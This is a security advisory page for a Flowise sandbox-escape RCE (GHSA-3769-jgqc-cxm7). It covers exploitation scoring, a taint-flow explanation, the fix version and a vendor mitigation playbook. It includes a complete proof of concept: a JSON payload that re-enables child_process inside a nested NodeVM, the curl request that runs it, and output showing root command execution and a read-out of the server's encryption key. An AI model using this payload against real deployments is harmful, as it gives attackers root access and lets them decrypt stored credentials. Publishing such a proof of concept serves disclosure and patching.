Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-3769-jgqc-cxm7 flowise

Fix: FlowiseAI/Flowise#6306

GHSA-3769-jgqc-cxm7 is a Code Injection vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.

Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override

Also known asCVE-2026-69254
Published
Aug 4, 2026
Updated
Aug 4, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3769-jgqc-cxm7.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs50th percentile — riskier than 50% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
3Kdownloads / week
flowise-componentsnpm
3Kdownloads / week

Description

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => {
    const { nodeVMOptions = {} } = options;
    // ...
    const defaultNodeVMOptions = {
        require: {
            builtin: builtinDeps,  // restricted allowlist — blocks child_process, fs, os, etc.
            mock: secureWrappers
        },
        eval: false,
        wasm: false
    }
    const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // ← VULN: caller overrides security settings
    const vm = new NodeVM(finalNodeVMOptions)
}

The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunctionpackages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode()packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

docker run -d --name flowise-poc -p 3000:3000 \
  -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \                                                                                                                                                                                         
  flowiseai/flowise:latest                                                                                                                                                                                                                 
                                                                                                                                                                                                                                           
# Wait ~30s for startup                                                                                                                                                                                                                    
curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}                                                                                                                                                                                                                      

Step 2: Obtain Bearer Token

Register an account, then create an API key:

# Register      
curl -s -X POST http://localhost:3000/api/v1/account/register \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","password":"Attack12345","name":"Attacker"}}'                                                                                                                                                   
                                                                                                                                                                                                                                           
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)                                                                                                                                                      
# Copy the key — this is the Bearer token used below.                                                                                                                                                                                      

Step 3: Create Payload

cat > exploit.json << 'EOF'
{
  "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");    
return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"                                                                                          
}                                                                                                                                                                                                                                          
EOF                                                                                                                                                                                                                                        

Step 4: Exploit

# Pre-check: file does not exist
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
# ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        
                                                                                                                                                                                                                                           
# Execute                                                                                                                                                                                                                                  
curl -X POST http://localhost:3000/api/v1/node-custom-function \
  -H "Content-Type: application/json" \                                                                                                                                                                                                    
  -H "Authorization: Bearer <TOKEN>" \
  -d @exploit.json                                                                                                                                                                                                                         
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"                                                                                                                                                             
                                                                                                                                                                                                                                           
docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           
# -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            
                                                                                                                                                                                                                                           
docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             
# uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                
                                                                                                                                                                                                                                           
docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         
<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.1.3npm install flowise@3.1.3
📦npmflowise-componentsall versions3.1.3npm install flowise-components@3.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3769-jgqc-cxm7 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-3769-jgqc-cxm7 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-3769-jgqc-cxm7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`. ### Details The vulnerability is in `packages/components/src/utils.ts` at line 1755: ```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } The executeJavaScriptCode()
O3 Security · Impact-Aware SCA

Is GHSA-3769-jgqc-cxm7 in your dependencies?

O3 Security finds GHSA-3769-jgqc-cxm7 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-3769-jgqc-cxm7: flowise RCE | O3 Security